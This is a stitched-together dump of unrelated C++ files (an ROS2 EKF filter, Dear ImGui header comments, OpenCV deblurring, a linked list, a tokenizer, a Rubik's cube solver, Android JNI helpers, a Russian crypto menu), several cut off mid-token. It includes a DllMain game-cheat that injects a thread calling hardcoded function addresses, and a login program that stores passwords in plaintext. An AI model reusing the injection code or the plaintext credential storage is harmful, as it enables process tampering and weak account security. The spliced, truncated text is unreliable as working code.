	webview_set_size(webview, 1024, 768, WEBVIEW_HINT_NONE);

	// Load initial content
	if (!current_url.is_empty()) {
		print_line("WebView: Loading initial URL: " + current_url);
		webview_navigate(webview, curre


#include "ekf.hpp"

EKF::EKF () : Node ("ekf") {

    EKF::init_params();

    //subs
    control_sub = this->create_subscription<ackermann_msgs::msg::AckermannDriveStamped>
        (ackermann_topic, 10, std::bind(&EKF::control_callback, this, std::placeholders::_1));

    odom_sub = this->create_subscription<nav_msgs::msg::Odometry>
        (odom_topic, 10 , std::bind(&EKF::odom_callback, this, std::placeholders::_1));

    imu_sub = this->create_subscription<sensor_msgs::msg::Imu>
        (imu_topic, 10, std::bind(&EKF::imu_callback, this, std::placeholders::_1));

    //pubs
    ekf_pub = this->create_publisher<nav_msgs::msg::Odometry>(ekf_topic, 10);

    RCLCPP_INFO(this->get_logger(), "initalized pubs and subs");

    //tf broadcast
    if (should_pub_tf) {
        RCLCPP_INFO(this->get_logger(),"tf is enabled");
        tf_broadcaster = std::make_shared<tf2_ros::TransformBroadcaster>(this);
    }
}

void EKF::control_callback(const ackermann_msgs::msg::AckermannDriveStamped::SharedPtr input) {

    //only calling the init_time() in this one because, we need the prev_input to drive any calculation forwared
    //otherwise, the jacobian calculation corupts and becomes null
    if (!time_init && input != nullptr) {
        EKF::init_time();
        prev_input = *input;
        prev_speed = input->drive.speed;
        prev_yaw = mu(state_index::theta);
        RCLCPP_INFO(this->get_logger(), "initalized time and prev control input");
        return;
    }

    if (input == nullptr) {
        return;
    }

    prediction current_predition = EKF::prediction_step(mu, sigma_t, *input);

    prev_input = *input; // save this regardless, a fail. always want the latest control input
    if (current_predition.did_error) {
        //RCLCPP_INFO(this->get_logger(), "control_callback predition corrupt");
        return;
    }

    //save the previous state
    prev_update_time = current_predition.calc_time;
    mu = current_predition.mu;
    sigma_t = current_predition.sigma_t;

    EKF::publish_state();
}

void EKF::imu_callback(const sensor_msgs::msg::Imu::SharedPtr imu_msg) {

    if (!time_init || imu_msg == nullptr) {
        return;
    }

    prediction current_predition = EKF::prediction_step(mu, sigma_t, prev_input);

    //calculate kalman gain
    matrix4d S = (H_imu * current_predition.sigma_t * H_imu.transpose() + Q_imu).eval(); //inovation covariance
    S = (0.5 * (S + S.transpose())).eval(); //correct the matrix scew

    //note to future self, generalize the kalman gain calculation with a template function and kalman gain class

    //use the llt to try and solve
    Eigen::LLT<matrix4d> llt (S);
    matrix7x4d K;

    if (llt.info() != Eigen::Success) {

        //given llt fails, matrix is not positive definite, add jitter to fix
        // try using ldlt
        S.diagonal().array() += 1e-8;
        S = (0.5 * (S + S.transpose())).eval();

        Eigen::LDLT<matrix4d> ldlt (S);
        RCLCPP_INFO(this->get_logger(), "using ldlt to solve inversion in imu");

        if (ldlt.info() != Eigen::Success) {

            RCLCPP_INFO(this->get_logger(), "faild to safely invert S, discarding this iteration of imu correction");
            return;

        } else {
            K = (current_predition.sigma_t * H_imu.transpose() * ldlt.solve(matrix4d::Identity())).eval();
        }

    } else {
        K = (current_predition.sigma_t * H_imu.transpose() * llt.solve(matrix4d::Identity())).eval();
    }

    vector4d imu_diff = (imu_observation_maker(*imu_msg) - imu_state_mapper(current_predition.mu)).eval();
    vector7d new_mu = (current_predition.mu + K * imu_diff ).eval();

    //josephs formula for new covariance (sigma_t)
    matrix7d A = (matrix7d::Identity() - K * H_imu).eval();
    matrix7d new_sigma_t = (A * current_predition.sigma_t * A.transpose() + K * Q_imu * K.transpose()).eval();

    //final safety check
    if (new_sigma_t.diagonal().minCoeff() <= 0) {

        new_sigma_t.diagonal().array() += 1e-8;
        new_sigma_t = (0.5 * (new_sigma_t + new_sigma_t.transpose())).eval();
        RCLCPP_INFO(this->get_logger(), "atempting to settle the covariance matrix in imu call back");

    }

    if (!new_mu.allFinite() || !new_sigma_t.allFinite()) {

        if (!new_mu.allFinite())
            RCLCPP_INFO(this->get_logger(), "mu corrupted during imu correction step, discarding results");

        if (!new_sigma_t.allFinite())
            RCLCPP_INFO(this->get_logger(), "simga_t corrupted during imu correction step, discarding results");

        return;

    }

    //normalize the yaw
    new_mu(state_index::theta) = std::atan2(std::sin(new_mu(state_index::theta)), std::cos(new_mu(state_index::theta)));

    //save the results
    mu = new_mu;
    sigma_t = new_sigma_t;
    prev_update_time = current_predition.calc_time;

    //publish the results
    EKF::publish_state();
}

void EKF::odom_callback(const nav_msgs::msg::Odometry::SharedPtr odom_msg) {

    if (!time_init || odom_msg == nullp


// dllmain.cpp : Define o ponto de entrada para o aplicativo DLL.
#include "pch.h"

#define FUNCAO_POPULAR_ESTRUTURA 0x1002F80;
#define FUNCAO_POPULAR_ESTRUTURA_WIN 0x10034AB;
#define FUNCAO_EXIBIR_BOMBAS 0x100272E;

typedef void (*Funcao)();

void codigo_injetado() {
    MessageBox(0, L"Dentro da thread", L"Programador Hobbista", 0);

    Funcao popular_estrutura = (Funcao)FUNCAO_POPULAR_ESTRUTURA;
    Funcao popular_estrutura_win = (Funcao)FUNCAO_POPULAR_ESTRUTURA_WIN;
    //Funcao exibir_bombas = (Funcao)FUNCAO_EXIBIR_BOMBAS;

    while (true) {
        if (GetAsyncKeyState('P')) {
            MessageBox(0, L"Cheat Aplicado com sucesso", L"Programador Hobbista", 0);
            popular_estrutura();
        }
        else if (GetAsyncKeyState('W')) {
            MessageBox(0, L"Cheat Aplicado com sucesso", L"Programador Hobbista", 0);
            popular_estrutura_win();
        }

        Sleep(1);
    }
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(0, L"Dll injetada com sucesso", L"Programador Hobbista", 0);
        CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)codigo_injetado, NULL, 0, NULL);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}


// dear imgui, v1.91.7 WIP
// (main code and documentation)

// Help:
// - See links below.
// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that.
// - Read top of imgui.cpp for more details, links and comments.

// Resources:
// - FAQ ........................ https://dearimgui.com/faq (in repository as docs/FAQ.md)
// - Homepage ................... https://github.com/ocornut/imgui
// - Releases & changelog ....... https://github.com/ocornut/imgui/releases
// - Gallery .................... https://github.com/ocornut/imgui/issues?q=label%3Agallery (please post your screenshots/video there!)
// - Wiki ....................... https://github.com/ocornut/imgui/wiki (lots of good stuff there)
//   - Getting Started            https://github.com/ocornut/imgui/wiki/Getting-Started (how to integrate in an existing app by adding ~25 lines of code)
//   - Third-party Extensions     https://github.com/ocornut/imgui/wiki/Useful-Extensions (ImPlot & many more)
//   - Bindings/Backends          https://github.com/ocornut/imgui/wiki/Bindings (language bindings, backends for various tech/engines)
//   - Glossary                   https://github.com/ocornut/imgui/wiki/Glossary
//   - Debug Tools                https://github.com/ocornut/imgui/wiki/Debug-Tools
//   - Software using Dear ImGui  https://github.com/ocornut/imgui/wiki/Software-using-dear-imgui
// - Issues & support ........... https://github.com/ocornut/imgui/issues
// - Test Engine & Automation ... https://github.com/ocornut/imgui_test_engine (test suite, test engine to automate your apps)

// For first-time users having issues compiling/linking/running/loading fonts:
// please post in https://github.com/ocornut/imgui/discussions if you cannot find a solution in resources above.
// Everything else should be asked in 'Issues'! We are building a database of cross-linked knowledge there.

// Copyright (c) 2014-2025 Omar Cornut
// Developed by Omar Cornut and every direct or indirect contributors to the GitHub.
// See LICENSE.txt for copyright and licensing details (standard MIT License).
// This library is free but needs your support to sustain development and maintenance.
// Businesses: you can support continued development via B2B invoiced technical support, maintenance and sponsoring contracts.
// PLEASE reach out at omar AT dearimgui DOT com. See https://github.com/ocornut/imgui/wiki/Funding
// Businesses: you can also purchase licenses for the Dear ImGui Automation/Test Engine.

// It is recommended that you don't modify imgui.cpp! It will become difficult for you to update the library.
// Note that 'ImGui::' being a namespace, you can add functions into the namespace from your own source files, without
// modifying imgui.h or imgui.cpp. You may include imgui_internal.h to access internal data structures, but it doesn't
// come with any guarantee of forward compatibility. Discussing your changes on the GitHub Issue Tracker may lead you
// to a better solution or official support for them.

/*

Index of this file:

DOCUMENTATION

- MISSION STATEMENT
- CONTROLS GUIDE
- PROGRAMMER GUIDE
  - READ FIRST
  - HOW TO UPDATE TO A NEWER VERSION OF DEAR IMGUI
  - GETTING STARTED WITH INTEGRATING DEAR IMGUI IN YOUR CODE/ENGINE
  - HOW A SIMPLE APPLICATION MAY LOOK LIKE
  - HOW A SIMPLE RENDERING FUNCTION MAY LOOK LIKE
- API BREAKING CHANGES (read me when you update!)
- FREQUENTLY ASKED QUESTIONS (FAQ)
  - Read all answers online: https://www.dearimgui.com/faq, or in docs/FAQ.md (with a Markdown viewer)

CODE
(search for "[SECTION]" in the code to find them)

// [SECTION] INCLUDES
// [SECTION] FORWARD DECLARATIONS
// [SECTION] CONTEXT AND MEMORY ALLOCATORS
// [SECTION] USER FACING STRUCTURES (ImGuiStyle, ImGuiIO, ImGuiPlatformIO)
// [SECTION] MISC HELPERS/UTILITIES (Geometry functions)
// [SECTION] MISC HELPERS/UTILITIES (String, Format, Hash functions)
// [SECTION] MISC HELPERS/UTILITIES (File functions)
// [SECTION] MISC HELPERS/UTILITIES (ImText* functions)
// [SECTION] MISC HELPERS/UTILITIES (Color functions)
// [SECTION] ImGuiStorage
// [SECTION] ImGuiTextFilter
// [SECTION] ImGuiTextBuffer, ImGuiTextIndex
// [SECTION] ImGuiListClipper
// [SECTION] STYLING
// [SECTION] RENDER HELPERS
// [SECTION] INITIALIZATION, SHUTDOWN
// [SECTION] MAIN CODE (most of the code! lots of stuff, needs tidying up!)
// [SECTION] ID STACK
// [SECTION] INPUTS
// [SECTION] ERROR CHECKING, STATE RECOVERY
// [SECTION] ITEM SUBMISSION
// [SECTION] LAYOUT
// [SECTION] SCROLLING
// [SECTION] TOOLTIPS
// [SECTION] POPUPS
// [SECTION] WINDOW FOCUS
// [SECTION] KEYBOARD/GAMEPAD NAVIGATION
// [SECTION] DRAG AND DROP
// [SECTION] LOGGING/CAPTURING
// [SECTION] SETTINGS
// [SECTION] LOCALIZATION
// [SECTION] VIEWPORTS, PLATFORM WINDOWS
// [SECTION] PLATFORM DEPENDENT HELPERS
// [SECTION] METRICS/DEBUGGER WINDOW
// [SECTION] DEBUG LOG WINDOW
// [SECTION] OTHER DEBUG TOOLS (ITEM PICKER, ID STACK TOOL)

*/

//--------------------------------------------


#include<iostream>
#include<fstream>
#include<string>
#include<sstream>
#include<limits>
using namespace std;

const string DATABASE_FILE = "users.txt";

bool userExists(const string& username) {
    ifstream file(DATABASE_FILE);
    string line,storedUser,storedPass;
    while (getline(file, line)) {
        stringstream ss(line);
        getline(ss, storedUser,',');
        getline(ss, storedPass,',');
        if (storedUser == username) {
            return true;
        }
    }
    return false;
}
void registerUser() {
    string username, password;
    cout << "Enter new username: ";
    cin >> username;
    if (userExists(username)) {
        cout << "Username already exists. Try a different one." << endl;
        return;
    }
    cout << "Enter new password: ";
    cin >> password;

    ofstream file(DATABASE_FILE, ios::app);
    file << username << "," << password << endl;
    cout << "Registration successful!\n" << endl;
}

void loginUser() {
    string username, password;
    cout << "Enter username: ";
    cin >> username;
    cin.ignore(numeric_limits<streamsize>::max(),'\n');
    cout << "Enter password: ";
    getline(cin,password);

    ifstream file(DATABASE_FILE);
    string line,storedUser,storedPass;
    bool success = false;

    while (getline(file, line)) {
        stringstream ss(line);
        getline(ss, storedUser,',');
        getline(ss, storedPass,',');
        if (storedUser == username && storedPass == password) {
            cout << "Login successful!Welcome, "<<username << ".\n";
            return;
        }
    }
    cout << "Invalid username or password.\n" << endl;
}

int main() {
    int choice;
    do {
        cout << "1. Register\n2. Login\n3. Exit\nChoose an option: ";
        cin >> choice;
        switch (choice) {
            case 1:
                registerUser();
                break;
            case 2:
                loginUser();
                break;
            case 3:
                cout << "Exiting program." << endl;
                break;
            default:
                cout << "Invalid choice. Try again.\n" << endl;
        }
    } while (choice != 3);
    return 0;
}


// main.cpp
#define SDL_MAIN_HANDLED
#include <SDL.h>
#include <SDL_ttf.h>
#include <opencv2/opencv.hpp>
#include <iostream>
#include <thread>
#include <atomic>
#include <mutex>
#include <condition_variable>
#include <cmath>
#include "controls.h" // Ensure this header defines Slider and RotaryKnob classes appropriately

// Define color scheme
const SDL_Color backgroundColor = { 73, 87, 133, 255 };
const SDL_Color buttonColor = { 73, 87, 133, 255 };
const SDL_Color hoverColor = { 33, 47, 93, 255 };

// Define text color (white)
const SDL_Color textColor = { 255, 255, 255, 255 }; // White color

// Global font variable for controls.cpp
TTF_Font* font = nullptr;

// Compute DFT magnitude
cv::Mat computeDFTMagnitude(const cv::Mat& inputImage) {
    if (inputImage.empty()) {
        std::cerr << "Error: Input image is empty in computeDFTMagnitude." << std::endl;
        return cv::Mat();
    }

    cv::Mat padded;
    int m = cv::getOptimalDFTSize(inputImage.rows);
    int n = cv::getOptimalDFTSize(inputImage.cols);
    cv::copyMakeBorder(inputImage, padded, 0, m - inputImage.rows, 0, n - inputImage.cols, cv::BORDER_CONSTANT, cv::Scalar::all(0));

    cv::Mat planes[] = { cv::Mat_<float>(padded), cv::Mat::zeros(padded.size(), CV_32F) };
    cv::Mat complexI;
    cv::merge(planes, 2, complexI);

    cv::dft(complexI, complexI);

    cv::split(complexI, planes);
    cv::magnitude(planes[0], planes[1], planes[0]);
    cv::Mat magI = planes[0];

    magI += cv::Scalar::all(1);
    cv::log(magI, magI);

    magI = magI(cv::Rect(0, 0, magI.cols & -2, magI.rows & -2));

    int cx = magI.cols / 2;
    int cy = magI.rows / 2;

    cv::Mat q0(magI, cv::Rect(0, 0, cx, cy));
    cv::Mat q1(magI, cv::Rect(cx, 0, cx, cy));
    cv::Mat q2(magI, cv::Rect(0, cy, cx, cy));
    cv::Mat q3(magI, cv::Rect(cx, cy, cx, cy));

    cv::Mat tmp;
    q0.copyTo(tmp);
    q3.copyTo(q0);
    tmp.copyTo(q3);
    q1.copyTo(tmp);
    q2.copyTo(q1);
    tmp.copyTo(q2);

    cv::normalize(magI, magI, 0, 1, cv::NORM_MINMAX);

    return magI;
}

// Perform circular shift
void circShift(const cv::Mat& in, cv::Mat& out, int dx, int dy) {
    dx = dx % in.cols;
    dy = dy % in.rows;
    if (dx < 0) dx += in.cols;
    if (dy < 0) dy += in.rows;

    cv::Mat tmp;
    // Shift x
    if (dx != 0) {
        cv::Mat part1 = in(cv::Rect(in.cols - dx, 0, dx, in.rows));
        cv::Mat part2 = in(cv::Rect(0, 0, in.cols - dx, in.rows));
        cv::hconcat(part1, part2, tmp);
    }
    else {
        tmp = in.clone();
    }

    // Shift y
    if (dy != 0) {
        cv::Mat part1 = tmp(cv::Rect(0, tmp.rows - dy, tmp.cols, dy));
        cv::Mat part2 = tmp(cv::Rect(0, 0, tmp.cols, tmp.rows - dy));
        cv::vconcat(part1, part2, out);
    }
    else {
        out = tmp.clone();
    }
}

// Blur edges of an image
cv::Mat blurEdge(const cv::Mat& img, int d = 31) {
    int h = img.rows;
    int w = img.cols;
    cv::Mat img_pad;
    cv::copyMakeBorder(img, img_pad, d, d, d, d, cv::BORDER_WRAP);
    cv::Mat img_blur;
    cv::GaussianBlur(img_pad, img_blur, cv::Size(2 * d + 1, 2 * d + 1), -1);
    img_blur = img_blur(cv::Rect(d, d, w, h)).clone();

    cv::Mat dist(h, w, CV_32F);
    for (int y = 0; y < h; ++y) {
        for (int x = 0; x < w; ++x) {
            float min_dist = std::min({ static_cast<float>(x), static_cast<float>(w - x - 1),
                                        static_cast<float>(y), static_cast<float>(h - y - 1) });
            dist.at<float>(y, x) = std::min(min_dist / static_cast<float>(d), 1.0f);
        }
    }

    cv::Mat result = img.mul(dist) + img_blur.mul(1.0f - dist);
    return result;
}

// Motion blur kernel
cv::Mat motionKernel(float angle, int d, int sz = 65) {
    cv::Mat kern = cv::Mat::zeros(sz, sz, CV_32F);
    int center = sz / 2;
    float radian = angle;

    cv::Point2f pt1(center - d / 2.0f * std::cos(radian), center - d / 2.0f * std::sin(radian));
    cv::Point2f pt2(center + d / 2.0f * std::cos(radian), center + d / 2.0f * std::sin(radian));
    cv::line(kern, pt1, pt2, cv::Scalar::all(1.0f), 1, cv::LINE_AA);

    return kern;
}

// Defocus kernel
cv::Mat defocusKernel(int d, int sz = 65) {
    cv::Mat kern = cv::Mat::zeros(sz, sz, CV_32F);
    cv::circle(kern, cv::Point(sz / 2, sz / 2), d, cv::Scalar(1.0f), -1, cv::LINE_AA);
    return kern;
}

// Application state
struct AppState {
    bool defocus;
    std::atomic<float> angle_deg;
    std::atomic<int> d;
    std::atomic<int> snr_db;
    cv::Mat img;  // Original image
    cv::Mat IMG;  // DFT of blurred image
};

// FourierProcessor class - separate thread for Fourier computations
class FourierProcessor {
public:
    FourierProcessor() : stopFlag(false), updated(false) {}

    void start() {
        worker = std::thread(&FourierProcessor::processLoop, this);
    }

    void stop() {
        {


#include <iostream>
using namespace std;

struct Node{
    int data;
    Node* next;
};

void PrintList (Node* head) {
    Node* temp= head;
    while (temp!= NULL) {
        cout<<temp->data<<" ->";
        temp=temp->next;
    }
    cout<< "NULL" <<endl;
}

Node* insertatFront(Node* head, int x) {
      Node* newNode= new Node();
      newNode->data = x;
      newNode->next= head;
      return newNode;
}

Node* removefromEnd(Node* head) {
    if (head == NULL) {
        cout<< "Linked List is empty";
        return NULL;
    }

    if (head->next == NULL) {
        delete head;
        return NULL;
    }

    Node* secondLast = head;
    while(secondLast ->next->next != NULL) {
        secondLast = secondLast->next;
    }
    delete secondLast->next;
    secondLast->next = NULL;
    return head;
}

int CountNodes (Node* head) {
    int count=0;
    Node* current = head;
    while (current != NULL) {
        count++;
        current= current->next;
    }
    return count;
}
 void searchElement(Node* head, int target) {
    Node* curr= head;
    while (curr != NULL) {
        if (curr-> data == target) {
            cout<< "Target has been found!";
            return;
        }
        curr= curr-> next;
    }
    cout<<"Target not found";
}

Node* reverseList(Node* head) {
    Node* curr = head, *prev = NULL, *next;
    while (curr!= NULL) {
        next = curr->next;
        curr->next = prev;
        prev = curr;
        curr= next;
    }
    return prev;
}

int main() {
    Node* head = new Node();
    Node* second = new Node();
    Node* third = new Node();

    head->data=10;
    head->next=second;

    second->data=20;
    second->next=third;

    third->data=30;
    third->next=NULL;

    cout << "Before reversal :" <<endl;
    PrintList(head);
    cout << "After Reversal : " <<endl;
    head= reverseList(head);
    PrintList(head);

    return 0;
}


#include "token.h"
#include <iostream>

std::ostream& operator<<(std::ostream& os, const Token& token) {
    os << "[";
    switch (token.type) {
        case TokenType::Identifier:       os << "Identifier"; break;
        case TokenType::Keyword:          os << "Keyword"; break;
        case TokenType::Number:           os << "Number"; break;
        case TokenType::String:           os << "String"; break;
        case TokenType::Operator:         os << "Operator"; break;
        case TokenType::Arrow:            os << "Arrow"; break;

        case TokenType::BraceOpen:        os << "BraceOpen"; break;
        case TokenType::BraceClose:       os << "BraceClose"; break;
        case TokenType::ParenOpen:        os << "ParenOpen"; break;
        case TokenType::ParenClose:       os << "ParenClose"; break;
        case TokenType::SquareBracketOpen:      os << "SquareBracketOpen"; break;
        case TokenType::SquareBracketClose:     os << "SquareBracketClose"; break;

        case TokenType::Comma:            os << "Comma"; break;
        case TokenType::Dot:              os << "Dot"; break;
        case TokenType::Colon:            os << "Colon"; break;
        case TokenType::SemiColon:        os << "SemiColon"; break;
        case TokenType::Equals:           os << "Equals"; break;

        case TokenType::TagOpen:          os << "TagOpen"; break;
        case TokenType::TagEnd:           os << "TagEnd"; break;
        case TokenType::TagClose:         os << "TagClose"; break;
        case TokenType::TagSelfClose:     os << "TagSelfClose"; break;

        case TokenType::AttributeName:    os << "AttributeName"; break;
        case TokenType::AttributeValue:   os << "AttributeValue"; break;

        case TokenType::ExpressionStart:  os << "ExpressionStart"; break;
        case TokenType::ExpressionEnd:    os << "ExpressionEnd"; break;

        case TokenType::AtModifier:       os << "AtModifier"; break;
        case TokenType::ValueBinding:     os << "ValueBinding"; break;
        case TokenType::StyleProperty:    os << "StyleProperty"; break;

        case TokenType::Text:             os << "Text"; break;
        case TokenType::EOFToken:         os << "EOFToken"; break;
        case TokenType::Error:            os << "Error"; break;
        case TokenType::ErrorRecovery:    os << "ErrorRecovery"; break;
        case TokenType::Unknown:          os << "Unknown"; break;

        default:                         os << "Other"; break;
    }
    os << ": '" << token.value << "' (Line " << token.line << ", Col " << token.column << ")]";
    return os;
}


//
// Created by FANGG3 on 25-7-22.
//
//
// Created by FANGG3 on 2025/4/18.
//
#include "utils.h"
#include <cstring>
#include <sstream>
#include <iomanip>

typedef jint (*JNI_GetCreatedJavaVMs_t)(JavaVM** , jsize , jsize* );
JavaVM* vms;
JNIEnv *env;
jsize vmCount = 0;

jint get_java_vm_wrapper(JavaVM** vms, jsize size, jsize* vm_count){

    void *handle = NULL;
    handle  = dlopen("libnativehelper.so", RTLD_NOLOAD);

    if( handle == NULL){
        handle = dlopen("libnativehelper.so", RTLD_GLOBAL| RTLD_LAZY);
    }else{
        LOGD("get_java_vm_wrapper libnativehelper already load");
    }

    if (handle == NULL) {
        LOGE ("get_java_vm_wrapper libnativehelper dlopen error");
        return JNI_ERR;
    }

    auto JNI_GetCreatedJavaVMs_func= (JNI_GetCreatedJavaVMs_t)dlsym(handle, "JNI_GetCreatedJavaVMs");

    if(JNI_GetCreatedJavaVMs_func == NULL){
        LOGE ("JNI_GetCreatedJavaVMs error");
        dlclose(handle);
        return JNI_ERR;
    }

    jint ret = JNI_GetCreatedJavaVMs_func(vms,size,vm_count);

    if (ret != JNI_OK || vm_count == 0 || vms == NULL) {
        LOGE("Failed to get JVM instance");
        dlclose(handle);
        return JNI_ERR;
    }

    dlclose(handle);
    return JNI_OK;
}

JNIEnv *get_jni_env_wrapper(){
    if (env != nullptr) return env;
    get_java_vm_wrapper(&vms,sizeof(JavaVM),&vmCount);
    if (vmCount > 0){
//        vms->GetEnv(reinterpret_cast<void **>(&env), JNI_VERSION_1_6);
        vms->AttachCurrentThread(&env, nullptr);
        LOGI("%d %p %d",vmCount,env,env->GetVersion());
        return env;
    }
    return nullptr;
}

std::string toHex(uint64_t value) {
    char buff[32];
    sprintf(buff, "%lx", value);
    return buff;
}

inline std::string byteToHex(unsigned char byte) {
    std::stringstream ss;
    ss << std::hex << std::setw(2) << std::setfill('0') << static_cast<uint>(byte);
    return ss.str();
}

std::string readMemToHex(const void *ptr, size_t length) {
    std::string hexString;
    const auto *bytePtr = static_cast<const unsigned char *>(ptr);
    for (size_t i = 0; i < length; ++i) {
        hexString += byteToHex(bytePtr[i]);
    }
    return hexString;
}


//
// Created by Lakshya Mittal on 17-12-2021.
// Modified by Pranav Harresh on 25-07-2025.
//

#include <bits/stdc++.h>
//#include "Model/RubiksCube3dArray.cpp"
//#include "Model/RubiksCube1dArray.cpp"
//#include "Model/RubiksCubeBitboard.cpp"
#include "Solver/DFSSolver.h"
#include "Solver/BFSSolver.h"
#include "Solver/IDDFSSolver.h"
#include "Solver/IDAstarSolver.h"
//#include "PatternDatabases/CornerPatternDatabase.h"
#include "PatternDatabases/CornerDBMaker.h"
#include "Scanner/CubeScanner.h"

using namespace std;

int main() {
//    RubiksCube3dArray object3DArray;
//    RubiksCube1dArray object1dArray;
//    RubiksCubeBitboard objectBitboard;
//
//    object3DArray.print();
//
//    if (object3DArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (object1dArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (objectBitboard.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    objectBitboard.u();
//    object3DArray.u();
//    object1dArray.u();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.l();
//    object3DArray.l();
//    object1dArray.l();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.f();
//    object3DArray.f();
//    object1dArray.f();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.r();
//    object3DArray.r();
//    object1dArray.r();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.b();
//    object3DArray.b();
//    object1dArray.b();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.d();
//    object3DArray.d();
//    object1dArray.d();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    if (object3DArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (object1dArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (objectBitboard.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    objectBitboard.dPrime();
//    object3DArray.dPrime();
//    object1dArray.dPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.bPrime();
//    object3DArray.bPrime();
//    object1dArray.bPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.rPrime();
//    object3DArray.rPrime();
//    object1dArray.rPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.fPrime();
//    object3DArray.fPrime();
//    object1dArray.fPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.lPrime();
//    object3DArray.lPrime();
//    object1dArray.lPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    objectBitboard.uPrime();
//    object3DArray.uPrime();
//    object1dArray.uPrime();
//    objectBitboard.print();
//    object3DArray.print();
//    object1dArray.print();
//
//    if (object3DArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (object1dArray.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";
//
//    if (objectBitboard.isSolved()) cout << "SOLVED\n\n";
//    else cout << "NOT SOLVED\n\n";

    // Create two Cubes ------------------------------------------------------------------------------------------

//    RubiksCube3dArray cube1;
//    RubiksCube3dArray cube2;

//    RubiksCube1dArray cube1;
//    RubiksCube1dArray cube2;

//    RubiksCubeBitboard cube1;
//    RubiksCubeBitboard cube2;

//  Equality and assignment of cubes --------------------------------------------------------------------------

//    if(cube1 == cube2) cout << "Is equal\n";
//    else cout << "Not Equal\n";
//
//    cube1.randomShuffleCube(1);
//
//    if(cube1 == cube2) cout << "Is equal\n";
//    else cout << "Not Equal\n";
//
//    cube2 = cube1;
//
//    if(cube1 == cube2) cout << "Is equal\n";
//    else cout << "Not Equal\n";

//  Unordered_map of Cubes  ------------------------------------------------------------------------------------

//    unordered_map<RubiksCube3dArray, bool, Hash3d> mp1;

//    unordered_map<RubiksCube1dArray, bool, Hash1d> mp1;

//    unordered_map<RubiksCubeBitboard, bool, HashBitboard> mp1;
//
//    mp1[cube1] = true;
//    cube2.randomShuffleCube(8);
//    if (mp1[cube1]) cout << "Cube1 is present\n";
//    else cout << "Cube1 is not present\n";
//
//    if (mp1[cube2]) cout << "Cube2 is present\n";
//    else cout << "Cube2 is not present\n";
//

// DFS Solver Testing _______________


#include <iostream>
#include <cstdlib>
#include <ctime>
#include <limits>
#include <vector>
#include "../lib/cryptography.h"

using namespace std;

void waitForAnyKey()
{
    cout << "\nНажмите ENTER для продолжения...";
    cin.clear();                                         // Сбрасываем флаги ошибок
    cin.ignore(numeric_limits<streamsize>::max(), '\n'); // Очищаем буфер
    cin.get();                                           // Ждем нажатия клавиши
}

int main()
{
    srand(time(0));

    long long a, b, c;
    int choice;
    int subchoice;

    while (true)
    {
        cout << "\nМеню:\n";
        cout << "1 - Возведение в степень по модулю\n";
        cout << "2 - Проверка числа на простоту\n";
        cout << "3 - Обобщенный алгоритм Евклида\n";
        cout << "4 - Поиск дискретного логарифма\n";
        cout << "5 - Построение общего ключа по схеме Диффи-Хеллмана\n";
        cout << "0 - Выход\n";
        cout << "Ваш выбор: ";
        cin >> choice;

        switch (choice)
        {
        //! Возведение в степень по модулю
        case 1:
            cout << "\nВведите a, x, p (a^x mod p): ";
            cin >> a >> b >> c;
            cout << "Результат: " << mod_pow(a, b, c) << endl;

            waitForAnyKey();
            break;
        //! Проверка числа на простоту
        case 2:
            cout << "\nВведите число для проверки: ";
            cin >> a;
            if (is_probably_prime(a))
                cout << "Число предположительно простое" << endl;
            else
                cout << "Число составное" << endl;

            waitForAnyKey();
            break;
        //! Обобщенный алгоритм Евклида
        case 3:
        {
            cout << "\nВыберите способ ввода чисел:" << endl;
            cout << "1 - Ввод с клавиатуры" << endl;
            cout << "2 - Генерация случайных чисел" << endl;
            cout << "3 - Генерация случайных простых чисел" << endl;
            cout << "Ваш выбор: ";
            cin >> subchoice;

            switch (subchoice)
            {
            //* Ввод с клавиатуры
            case 1:
            {
                while (true)
                {
                    cout << "\nВведите a и b (a >= b): ";
                    cin >> a >> b;
                    if (a >= b)
                        break;
                    cout << "Число a должно быть больше или равно b. Попробуйте снова.\n";
                }

                auto [g, x, y] = extended_gcd(a, b);
                cout << "НОД(" << a << ", " << b << ") = " << g << endl;
                cout << "x = " << x << ", y = " << y << endl;
                cout << a << "*" << x << " + " << b << "*" << y << " = " << g << endl;

                waitForAnyKey();
                break;
            }
            //* Случайные числа
            case 2:
            {
                a = 10 + rand() % 90;
                do
                {
                    b = 10 + rand() % a;
                } while (b > a);
                cout << "\nСгенерированы числа: a = " << a << ", b = " << b << endl;

                auto [g, x, y] = extended_gcd(a, b);
